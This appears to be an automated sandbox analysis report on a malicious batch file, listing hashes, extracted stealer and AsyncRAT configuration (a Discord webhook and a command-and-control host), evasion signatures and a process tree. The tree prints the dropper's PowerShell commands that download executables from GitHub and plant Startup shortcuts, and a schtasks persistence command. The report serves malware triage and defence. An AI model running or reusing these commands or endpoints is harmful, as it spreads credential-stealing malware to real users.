Analysis
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max time kernel
1050s -
max time network
1052s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
22-11-2024 01:09
Static task
static1
Behavioral task
behavioral1
Sample
fab.bat
Resource
win10v2004-20241007-en
General
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Target
fab.bat
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Size
1KB
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MD5
f3f83ae17a3f81e0265b9ce7e480bd4e
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SHA1
994d8d5b533fd09630b45a0d0404f65557e83d5d
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SHA256
412476007cd57ca529c83c386125249fbe0952a2522f5d838ffd3fb10a6e1f74
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SHA512
cc0480e5cf4b8d6ca9318f806587bf121dc8feb553263e4756b43b568cf38d93ce94a467e87878f299d3fdabc66e178c8dafa96e3e5fda51bbfd7a6b4220bf39
Malware Config
Extracted
mercurialgrabber
https://discordapp.com/api/webhooks/1308883657456619530/0_Ad9EyrLZrIMKH4vjM6XHyvCJJtKddsiohDSyvCWZ8HIxpyNxmVJgrKb_zO-jqSHSO0
Extracted
asyncrat
Default
technical-southwest.gl.at.ply.gg:58694
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delay
1
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install
true
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install_file
WINDOWS.exe
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install_folder
%AppData%
Signatures
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Asyncrat family
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Mercurial Grabber Stealer
Mercurial Grabber is an open source stealer targeting Chrome, Discord and some game clients as well as generic system information.
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Mercurialgrabber family
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Async RAT payload 1 IoCs
Processes:
resource yara_rule C:\Users\Admin\Desktop\Loader.exe family_asyncrat -
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
output.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions output.exe -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exepowershell.exeflow pid process 6 5016 powershell.exe 8 5016 powershell.exe 25 1636 powershell.exe 26 1636 powershell.exe -
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepid process 5016 powershell.exe 1636 powershell.exe 3300 powershell.exe 4564 powershell.exe -
Downloads MZ/PE file
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Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
output.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools output.exe -
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
output.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion output.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Loader.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation Loader.exe -
Drops startup file 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk powershell.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk powershell.exe -
Executes dropped EXE 3 IoCs
Processes:
output.exeLoader.exeWINDOWS.exepid process 5064 output.exe 960 Loader.exe 4228 WINDOWS.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 23 ip4.seeip.org 37 ip-api.com -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
output.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 output.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum output.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 1 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
output.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S output.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
output.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 output.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString output.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 1540 timeout.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
Processes:
output.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer output.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName output.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0 output.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation output.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exeLoader.exeWINDOWS.exepid process 5016 powershell.exe 5016 powershell.exe 3300 powershell.exe 3300 powershell.exe 1636 powershell.exe 1636 powershell.exe 4564 powershell.exe 4564 powershell.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 960 Loader.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe 4228 WINDOWS.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
Processes:
powershell.exepowershell.exepowershell.exeoutput.exepowershell.exeLoader.exeWINDOWS.exedescription pid process Token: SeDebugPrivilege 5016 powershell.exe Token: SeDebugPrivilege 3300 powershell.exe Token: SeDebugPrivilege 1636 powershell.exe Token: SeDebugPrivilege 5064 output.exe Token: SeDebugPrivilege 4564 powershell.exe Token: SeDebugPrivilege 960 Loader.exe Token: SeDebugPrivilege 960 Loader.exe Token: SeDebugPrivilege 4228 WINDOWS.exe Token: SeDebugPrivilege 4228 WINDOWS.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
cmd.exeLoader.execmd.execmd.exedescription pid process target process PID 1668 wrote to memory of 5016 1668 cmd.exe powershell.exe PID 1668 wrote to memory of 5016 1668 cmd.exe powershell.exe PID 1668 wrote to memory of 3300 1668 cmd.exe powershell.exe PID 1668 wrote to memory of 3300 1668 cmd.exe powershell.exe PID 1668 wrote to memory of 5064 1668 cmd.exe output.exe PID 1668 wrote to memory of 5064 1668 cmd.exe output.exe PID 1668 wrote to memory of 1636 1668 cmd.exe powershell.exe PID 1668 wrote to memory of 1636 1668 cmd.exe powershell.exe PID 1668 wrote to memory of 4564 1668 cmd.exe powershell.exe PID 1668 wrote to memory of 4564 1668 cmd.exe powershell.exe PID 1668 wrote to memory of 960 1668 cmd.exe Loader.exe PID 1668 wrote to memory of 960 1668 cmd.exe Loader.exe PID 960 wrote to memory of 4124 960 Loader.exe cmd.exe PID 960 wrote to memory of 4124 960 Loader.exe cmd.exe PID 960 wrote to memory of 4864 960 Loader.exe cmd.exe PID 960 wrote to memory of 4864 960 Loader.exe cmd.exe PID 4864 wrote to memory of 1540 4864 cmd.exe timeout.exe PID 4864 wrote to memory of 1540 4864 cmd.exe timeout.exe PID 4124 wrote to memory of 380 4124 cmd.exe schtasks.exe PID 4124 wrote to memory of 380 4124 cmd.exe schtasks.exe PID 4864 wrote to memory of 4228 4864 cmd.exe WINDOWS.exe PID 4864 wrote to memory of 4228 4864 cmd.exe WINDOWS.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fab.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/DD/releases/download/D/output.exe -OutFile C:\Users\Admin\Desktop\output.exe -ErrorAction SilentlyContinue"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5016
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut1 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk'); $shortcut1.TargetPath = 'C:\Users\Admin\Desktop\output.exe'; $shortcut1.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3300
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C:\Users\Admin\Desktop\output.exeC:\Users\Admin\Desktop\output.exe2⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Executes dropped EXE
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:5064
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/uu/releases/download/dss/Loader.exe -OutFile C:\Users\Admin\Desktop\Loader.exe -ErrorAction SilentlyContinue"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1636
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut2 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk'); $shortcut2.TargetPath = 'C:\Users\Admin\Desktop\Loader.exe'; $shortcut2.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4564
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C:\Users\Admin\Desktop\Loader.exeC:\Users\Admin\Desktop\Loader.exe2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:960 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit3⤵
- Suspicious use of WriteProcessMemory
PID:4124 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'4⤵
- Scheduled Task/Job: Scheduled Task
PID:380
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBFD5.tmp.bat""3⤵
- Suspicious use of WriteProcessMemory
PID:4864 -
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
PID:1540
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C:\Users\Admin\AppData\Roaming\WINDOWS.exe"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4228
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Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
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Filesize
1KB
MD5a2b24af1492f112d2e53cb7415fda39f
SHA1dbfcee57242a14b60997bd03379cc60198976d85
SHA256fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073
SHA5129919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0
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Filesize
1KB
MD5584d22b5c20db5b7ce671d0f1c552a50
SHA1b9e6ad8174c29959aa2f9a680f7f5936d0775fb9
SHA2568c39c5fd69dad8f0149514f44aca66bb4dd3ed78ec9cd2e8601342b4fd8ae2a4
SHA5127446dfc78a24cdbc64f0ca73a9e1f7165a8480c399639dd08d88253b42d9d569b0b258df4b94186fc988f835752311f85218db0d1ea53e300e657780f8f4c399
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Filesize
1KB
MD5f54bb97620534dd95a2ea0320201f0ea
SHA1437f442bfb37137260c0bde6b0f6e3e832737852
SHA256fff6ee24ae8bcdd3214dc0416d8b5a190555069b7429a786637fe5a3d6421d1a
SHA51257274884ec951a30976b8136c17b0be176b6c7fbe989d7b3a8f93b9553299179701ceeda72b812b7c3c4ab501c32d998e54e48ae162dd28387b0dd64fd5c6739
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
151B
MD5bd4f33795e6bacbf6cda9acb17217680
SHA12161a2f8bdb0cda2f0747306328f37de7a77a9a5
SHA256a0d6d6c7a5e8765a2cae6d9cf0234e737bf68d62ed7debccbc16a34f17c87beb
SHA5125bf0508dcaec27006cebaca0a498d883435381ee8e93de6afdc77adade9d837a82d563c6cc9e0261c2607c0cfbb921d0fa3beb6d526e3176aa8c17aaddca3241
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Filesize
63KB
MD57ceb11ebb7a55e33a82bc3b66f554e79
SHA18dfd574ad06ded662d92d81b72f14c1914ac45b5
SHA256aea3e89e45a33441bcd06c990282f8601eb960a641c611222dce2fe09685e603
SHA512d8cd7af50996015163c8926fc7b6df6a6e2c0b3f6c8fcff37cad5b72fed115f7134723d99f61a20576b83e67107a3a410f5ef2312191446b3d0759cb739e6ccd
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Filesize
41KB
MD5a0e598ec98a975405420be1aadaa3c2a
SHA1d861788839cfb78b5203686334c1104165ea0937
SHA256e6ac8a6dac77f9873024f50befb293b9cf6347aa2e093cd863b551d9c8da5f8d
SHA512e5ee500a8dcddd72e727cfa24e51093cd2b088f7ef89089f1d24145baa41c1ac46bf6be73bfd8cb15e2549349da8c2547d4e391b6e3a456621524fe0f83f9585